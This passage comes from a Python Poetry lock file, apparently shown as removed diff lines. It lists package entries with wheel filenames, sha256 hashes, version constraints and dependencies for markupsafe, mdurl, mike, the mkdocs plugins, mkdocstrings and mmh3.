"markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01"}, - {file = "markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c"}, - {file = "markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e"}, - {file = "markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce"}, - {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d"}, - {file = "markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d"}, - {file = "markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a"}, - {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b"}, - {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f"}, - {file = "markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b"}, - {file = "markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d"}, - {file = "markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c"}, - {file = "markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f"}, - {file = "markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795"}, - {file = "markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219"}, - {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6"}, - {file = "markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676"}, - {file = "markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9"}, - {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1"}, - {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc"}, - {file = "markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12"}, - {file = "markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed"}, - {file = "markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5"}, - {file = "markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485"}, - {file = "markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73"}, - {file = "markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37"}, - {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19"}, - {file = "markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025"}, - {file = "markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6"}, - {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f"}, - {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb"}, - {file = "markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009"}, - {file = "markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354"}, - {file = "markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218"}, - {file = "markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287"}, - {file = "markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe"}, - {file = "markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026"}, - {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737"}, - {file = "markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97"}, - {file = "markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d"}, - {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda"}, - {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf"}, - {file = "markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe"}, - {file = "markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9"}, - {file = "markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581"}, - {file = "markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4"}, - {file = "markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab"}, - {file = "markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175"}, - {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634"}, - {file = "markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50"}, - {file = "markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e"}, - {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5"}, - {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523"}, - {file = "markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc"}, - {file = "markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d"}, - {file = "markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9"}, - {file = "markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa"}, - {file = "markupsafe-3.0.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:15d939a21d546304880945ca1ecb8a039db6b4dc49b2c5a400387cdae6a62e26"}, - {file = "markupsafe-3.0.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f71a396b3bf33ecaa1626c255855702aca4d3d9fea5e051b41ac59a9c1c41edc"}, - {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f4b68347f8c5eab4a13419215bdfd7f8c9b19f2b25520968adfad23eb0ce60c"}, - {file = "markupsafe-3.0.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8fc20152abba6b83724d7ff268c249fa196d8259ff481f3b1476383f8f24e42"}, - {file = "markupsafe-3.0.3-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:949b8d66bc381ee8b007cd945914c721d9aba8e27f71959d750a46f7c282b20b"}, - {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:3537e01efc9d4dccdf77221fb1cb3b8e1a38d5428920e0657ce299b20324d758"}, - {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:591ae9f2a647529ca990bc681daebdd52c8791ff06c2bfa05b65163e28102ef2"}, - {file = "markupsafe-3.0.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:a320721ab5a1aba0a233739394eb907f8c8da5c98c9181d1161e77a0c8e36f2d"}, - {file = "markupsafe-3.0.3-cp39-cp39-win32.whl", hash = "sha256:df2449253ef108a379b8b5d6b43f4b1a8e81a061d6537becd5582fba5f9196d7"}, - {file = "markupsafe-3.0.3-cp39-cp39-win_amd64.whl", hash = "sha256:7c3fb7d25180895632e5d3148dbdc29ea38ccb7fd210aa27acbd1201a1902c6e"}, - {file = "markupsafe-3.0.3-cp39-cp39-win_arm64.whl", hash = "sha256:38664109c14ffc9e7437e86b4dceb442b0096dfe3541d7864d9cbe1da4cf36c8"}, - {file = "markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698"}, -] - -[[package]] -name = "mdurl" -version = "0.1.2" -description = "Markdown URL utilities" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, - {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, -] - -[[package]] -name = "mergedeep" -version = "1.3.4" -description = "A deep merge function for 🐍." -optional = false -python-versions = ">=3.6" -groups = ["docs"] -files = [ - {file = "mergedeep-1.3.4-py3-none-any.whl", hash = "sha256:70775750742b25c0d8f36c55aed03d24c3384d17c951b3175d898bd778ef0307"}, - {file = "mergedeep-1.3.4.tar.gz", hash = "sha256:0096d52e9dad9939c3d975a774666af186eda617e6ca84df4c94dec30004f2a8"}, -] - -[[package]] -name = "mike" -version = "2.2.0" -description = "Manage multiple versions of your MkDocs-powered documentation" -optional = false -python-versions = "*" -groups = ["docs"] -files = [ - {file = "mike-2.2.0-py3-none-any.whl", hash = "sha256:e1f4981c1152eec7c2490a3401142292cc47d686194188416db2648fdfe1d040"}, - {file = "mike-2.2.0.tar.gz", hash = "sha256:1e3858e32c0f125aac14432fc7848434358f9ae0962c5c5cde387ad47f6ad25e"}, -] - -[package.dependencies] -jinja2 = ">=2.7" -mkdocs = ">=1.0,<2.0" -pyparsing = ">=3.0" -pyyaml = ">=5.1" -pyyaml-env-tag = "*" -verspec = "*" - -[package.extras] -dev = ["coverage", "flake8 (>=3.0)", "flake8-quotes", "shtab"] -test = ["coverage", "flake8 (>=3.0)", "flake8-quotes", "shtab"] - -[[package]] -name = "mkdocs" -version = "1.6.1" -description = "Project documentation with Markdown." -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "mkdocs-1.6.1-py3-none-any.whl", hash = "sha256:db91759624d1647f3f34aa0c3f327dd2601beae39a366d6e064c03468d35c20e"}, - {file = "mkdocs-1.6.1.tar.gz", hash = "sha256:7b432f01d928c084353ab39c57282f29f92136665bdd6abf7c1ec8d822ef86f2"}, -] - -[package.dependencies] -click = ">=7.0" -colorama = {version = ">=0.4", markers = "platform_system == \"Windows\""} -ghp-import = ">=1.0" -jinja2 = ">=2.11.1" -markdown = ">=3.3.6" -markupsafe = ">=2.0.1" -mergedeep = ">=1.3.4" -mkdocs-get-deps = ">=0.2.0" -packaging = ">=20.5" -pathspec = ">=0.11.1" -pyyaml = ">=5.1" -pyyaml-env-tag = ">=0.1" -watchdog = ">=2.0" - -[package.extras] -i18n = ["babel (>=2.9.0)"] -min-versions = ["babel (==2.9.0)", "click (==7.0)", "colorama (==0.4) ; platform_system == \"Windows\"", "ghp-import (==1.0)", "importlib-metadata (==4.4) ; python_version < \"3.10\"", "jinja2 (==2.11.1)", "markdown (==3.3.6)", "markupsafe (==2.0.1)", "mergedeep (==1.3.4)", "mkdocs-get-deps (==0.2.0)", "packaging (==20.5)", "pathspec (==0.11.1)", "pyyaml (==5.1)", "pyyaml-env-tag (==0.1)", "watchdog (==2.0)"] - -[[package]] -name = "mkdocs-autorefs" -version = "1.4.4" -description = "Automatically link across pages in MkDocs." -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "mkdocs_autorefs-1.4.4-py3-none-any.whl", hash = "sha256:834ef5408d827071ad1bc69e0f39704fa34c7fc05bc8e1c72b227dfdc5c76089"}, - {file = "mkdocs_autorefs-1.4.4.tar.gz", hash = "sha256:d54a284f27a7346b9c38f1f852177940c222da508e66edc816a0fa55fc6da197"}, -] - -[package.dependencies] -Markdown = ">=3.3" -markupsafe = ">=2.0.1" -mkdocs = ">=1.1" - -[[package]] -name = "mkdocs-extra-sass-plugin" -version = "0.1.0" -description = "This plugin adds stylesheets to your mkdocs site from `Sass`/`SCSS`." -optional = false -python-versions = ">=3.6" -groups = ["docs"] -files = [ - {file = "mkdocs-extra-sass-plugin-0.1.0.tar.gz", hash = "sha256:cca7ae778585514371b22a63bcd69373d77e474edab4b270cf2924e05c879219"}, - {file = "mkdocs_extra_sass_plugin-0.1.0-py3-none-any.whl", hash = "sha256:10aa086fa8ef1fc4650f7bb6927deb7bf5bbf5a2dd3178f47e4ef44546b156db"}, -] - -[package.dependencies] -beautifulsoup4 = ">=4.6.3" -libsass = ">=0.15" -mkdocs = ">=1.1" - -[[package]] -name = "mkdocs-get-deps" -version = "0.2.2" -description = "An extra command for MkDocs that infers required PyPI packages from `plugins` in mkdocs.yml" -optional = false -python-versions = ">=3.9" -groups = ["docs"] -files = [ - {file = "mkdocs_get_deps-0.2.2-py3-none-any.whl", hash = "sha256:e7878cbeac04860b8b5e0ca31d3abad3df9411a75a32cde82f8e44b6c16ff650"}, - {file = "mkdocs_get_deps-0.2.2.tar.gz", hash = "sha256:8ee8d5f316cdbbb2834bc1df6e69c08fe769a83e040060de26d3c19fad3599a1"}, -] - -[package.dependencies] -mergedeep = ">=1.3.4" -platformdirs = ">=2.2.0" -pyyaml = ">=5.1" - -[[package]] -name = "mkdocs-material" -version = "9.7.6" -description = "Documentation that simply works" -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "mkdocs_material-9.7.6-py3-none-any.whl", hash = "sha256:71b84353921b8ea1ba84fe11c50912cc512da8fe0881038fcc9a0761c0e635ba"}, - {file = "mkdocs_material-9.7.6.tar.gz", hash = "sha256:00bdde50574f776d328b1862fe65daeaf581ec309bd150f7bff345a098c64a69"}, -] - -[package.dependencies] -babel = ">=2.10" -backrefs = ">=5.7.post1" -colorama = ">=0.4" -jinja2 = ">=3.1" -markdown = ">=3.2" -mkdocs = ">=1.6,<2" -mkdocs-material-extensions = ">=1.3" -paginate = ">=0.5" -pygments = ">=2.16" -pymdown-extensions = ">=10.2" -requests = ">=2.30" - -[package.extras] -git = ["mkdocs-git-committers-plugin-2 (>=1.1)", "mkdocs-git-revision-date-localized-plugin (>=1.2.4)"] -imaging = ["cairosvg (>=2.6)", "pillow (>=10.2)"] -recommended = ["mkdocs-minify-plugin (>=0.7)", "mkdocs-redirects (>=1.2)", "mkdocs-rss-plugin (>=1.6)"] - -[[package]] -name = "mkdocs-material-extensions" -version = "1.3.1" -description = "Extension pack for Python Markdown and MkDocs Material." -optional = false -python-versions = ">=3.8" -groups = ["docs"] -files = [ - {file = "mkdocs_material_extensions-1.3.1-py3-none-any.whl", hash = "sha256:adff8b62700b25cb77b53358dad940f3ef973dd6db797907c49e3c2ef3ab4e31"}, - {file = "mkdocs_material_extensions-1.3.1.tar.gz", hash = "sha256:10c9511cea88f568257f960358a467d12b970e1f7b2c0e5fb2bb48cab1928443"}, -] - -[[package]] -name = "mkdocstrings" -version = "1.0.4" -description = "Automatic documentation from sources, for MkDocs." -optional = false -python-versions = ">=3.10" -groups = ["docs"] -files = [ - {file = "mkdocstrings-1.0.4-py3-none-any.whl", hash = "sha256:63464b4b29053514f32a1dbbf604e52876d5e638111b0c295ab7ed3cac73ca9b"}, - {file = "mkdocstrings-1.0.4.tar.gz", hash = "sha256:3969a6515b77db65fd097b53c1b7aa4ae840bd71a2ee62a6a3e89503446d7172"}, -] - -[package.dependencies] -Jinja2 = ">=3.1" -Markdown = ">=3.6" -MarkupSafe = ">=1.1" -mkdocs = ">=1.6" -mkdocs-autorefs = ">=1.4" -pymdown-extensions = ">=6.3" - -[package.extras] -crystal = ["mkdocstrings-crystal (>=0.3.4)"] -python = ["mkdocstrings-python (>=1.16.2)"] -python-legacy = ["mkdocstrings-python-legacy (>=0.2.1)"] - -[[package]] -name = "mkdocstrings-python" -version = "2.0.3" -description = "A Python handler for mkdocstrings." -optional = false -python-versions = ">=3.10" -groups = ["docs"] -files = [ - {file = "mkdocstrings_python-2.0.3-py3-none-any.whl", hash = "sha256:0b83513478bdfd803ff05aa43e9b1fca9dd22bcd9471f09ca6257f009bc5ee12"}, - {file = "mkdocstrings_python-2.0.3.tar.gz", hash = "sha256:c518632751cc869439b31c9d3177678ad2bfa5c21b79b863956ad68fc92c13b8"}, -] - -[package.dependencies] -griffelib = ">=2.0" -mkdocs-autorefs = ">=1.4" -mkdocstrings = ">=0.30" -typing-extensions = {version = ">=4.0", markers = "python_version < \"3.11\""} - -[[package]] -name = "mmh3" -version = "5.2.1" -description = "Python extension for MurmurHash (MurmurHash3), a set of fast and robust hash functions." -optional = false -python-versions = ">=3.10" -groups = ["main"] -files = [ - {file = "mmh3-5.2.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:5d87a3584093e1a89987e3d36d82c98d9621b2cb944e22a420aa1401e096758f"}, - {file = "mmh3-5.2.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:30e4d2084df019880d55f6f7bea35328d9b464ebee090baa372c096dc77556fb"}, - {file = "mmh3-5.2.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0bbc17250b10d3466875a40a52520a6bac3c02334ca709207648abd3c223ed5c"}, - {file = "mmh3-5.2.1-cp310-cp310-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:76219cd1eefb9bf4af7856e3ae563d15158efa145c0aab01e9933051a1954045"}, - {file = "mmh3-5.2.1-cp310-cp310-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:fb9d44c25244e11c8be3f12c938ca8ba8404620ef8092245d2093c6ab3df260f"}, - {file = "mmh3-5.2.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2d5d542bf2abd0fd0361e8017d03f7cb5786214ceb4a40eef1539d6585d93386"}, - {file = "mmh3-5.2.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:08043f7cb1fb9467c3fbbbaea7896986e7fbc81f4d3fd9289a73d9110ab6207a"}, - {file = "mmh3-5.2.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:add7ac388d1e0bf57259afbcf9ed05621a3bf11ce5ee337e7536f1e1aaf056b0"}, - {file = "mmh3-5.2.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:41105377f6282e8297f182e393a79cfffd521dde37ace52b106373bdcd9ca5cb"}, - {file = "mmh3-5.2.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3cb61db880ec11e984348227b333259994c2c85caa775eb7875decb3768db890"}, - {file = "mmh3-5.2.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:e8b5378de2b139c3a830f0209c1e91f7705919a4b3e563a10955104f5097a70a"}, - {file = "mmh3-5.2.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:e904f2417f0d6f6d514f3f8b836416c360f306ddaee1f84de8eef1e722d212e5"}, - {file = "mmh3-5.2.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:f1fbb0a99125b1287c6d9747f937dc66621426836d1a2d50d05aecfc81911b57"}, - {file = "mmh3-5.2.1-cp310-cp310-win32.whl", hash = "sha256:b4cce60d0223074803c9dbe0721ad3fa51dafe7d462fee4b656a1aa01ee07518"}, - {file = "mmh3-5.2.1-cp310-cp310-win_amd64.whl", hash = "sha256:6f01f044112d43a20be2f13a11683666d87151542ad627fe41a18b9791d2802f"}, - {file = "mmh3-5.2.1-cp310-cp310-win_arm64.whl", hash = "sha256:7501e9be34cb21e72fcfe672aafd0eee65c16ba2afa9dcb5500a587d3a0580f0"}, - {file = "mmh3-5.2.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:dae0f0bd7d30c0ad61b9a504e8e272cb8391eed3f1587edf933f4f6b33437450"}, - {file = "mmh3-5.2.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:9aeaf53eaa075dd63e81512522fd180097312fb2c9f476333309184285c49ce0"}, - {file = "mmh3-5.2.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:0634581290e6714c068f4aa24020acf7880927d1f0084fa753d9799ae9610082"}, - {file = "mmh3-5.2.1-cp311-cp311-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:e080c0637aea036f35507e803a4778f119a9b436617694ae1c5c366805f1e997"}, - {file = "mmh3-5.2.1-cp311-cp311-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:db0562c5f71d18596dcd45e854cf2eeba27d7543e1a3acdafb7eef728f7fe85d"}, - {file = "mmh3-5.2.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1d9f9a3ce559a5267014b04b82956993270f63ec91765e13e9fd73daf2d2738e"}, - {file = "mmh3-5.2.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:960b1b3efa39872ac8b6cc3a556edd6fb90ed74f08c9c45e028f1005b26aa55d"}, - {file = "mmh3-5.2.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d30b650595fdbe32366b94cb14f30bb2b625e512bd4e1df00611f99dc5c27fd4"}, - {file = "mmh3-5.2.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:82f3802bfc4751f420d591c5c864de538b71cea117fce67e4595c2afede08a15"}, - {file = "mmh3-5.2.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:915e7a2418f10bd1151b1953df06d896db9783c9cfdb9a8ee1f9b3a4331ab503"}, - {file = "mmh3-5.2.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:fc78739b5ec6e4fb02301984a3d442a91406e7700efbe305071e7fd1c78278f2"}, - {file = "mmh3-5.2.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:41aac7002a749f08727cb91babff1daf8deac317c0b1f317adc69be0e6c375d1"}, - {file = "mmh3-5.2.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:9d8089d853c7963a8ce87fff93e2a67075c0bc08684a08ea6ad13577c38ffc38"}, - {file = "mmh3-5.2.1-cp311-cp311-win32.whl", hash = "sha256:baeb47635cb33375dee4924cd93d7f5dcaa786c740b08423b0209b824a1ee728"}, - {file = "mmh3-5.2.1-cp311-cp311-win_amd64.whl", hash = "sha256:1e4ecee40ba19e6975e1120829796770325841c2f153c0e9aecca927194c6a2a"}, - {file = "mmh3-5.2.1-cp311-cp311-win_arm64.whl", hash = "sha256:c302245fd6c33d96bd169c7ccf2513c20f4c1e417c07ce9dce107c8bc3f8411f"}, - {file = "mmh3-5.2.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:0cc21533878e5586b80d74c281d7f8da7932bc8ace50b8d5f6dbf7e3935f63f1"}, - {file = "mmh3-5.2.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4eda76074cfca2787c8cf1bec603eaebdddd8b061ad5502f85cddae998d54f00"}, - {file = "mmh3-5.2.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:eee884572b06bbe8a2b54f424dbd996139442cf83c76478e1ec162512e0dd2c7"}, - {file = "mmh3-5.2.1-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:0d0b7e803191db5f714d264044e06189c8ccd3219e936cc184f07106bd17fd7b"}, - {file = "mmh3-5.2.1-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:8e6c219e375f6341d0959af814296372d265a8ca1af63825f65e2e87c618f006"}, - {file = "mmh3-5.2.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:26fb5b9c3946bf7f1daed7b37e0c03898a6f062149127570f8ede346390a0825"}, - {file = "mmh3-5.2.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3c38d142c706201db5b2345166eeef1e7740e3e2422b470b8ba5c8727a9b4c7a"}, - {file = "mmh3-5.2.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:50885073e2909251d4718634a191c49ae5f527e5e1736d738e365c3e8be8f22b"}, - 